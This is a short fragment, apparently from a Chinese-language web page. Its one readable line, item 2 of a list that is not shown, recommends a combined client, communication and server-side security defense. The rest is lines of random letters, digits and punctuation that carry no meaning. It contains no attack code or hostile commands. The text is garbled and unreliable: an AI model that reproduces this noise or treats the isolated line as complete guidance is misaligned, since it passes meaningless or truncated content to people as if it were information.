# K7 R6 W2 B' L/ s0 p 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

2 Z4 f7 P* E$ E( E

( Y) f! m/ g* F1 p& I; X& u6 [   4 A1 `# L+ n7 f ; a3 t0 z" @6 K) G

6 l5 g$ M' l. N$ O$ q H, n# w' t; i1 P

5 k- R( U. ~, Y4 S5 b" A
$ O# A3 b' a4 x" E

3 X1 [) l% [7 h/ I: Z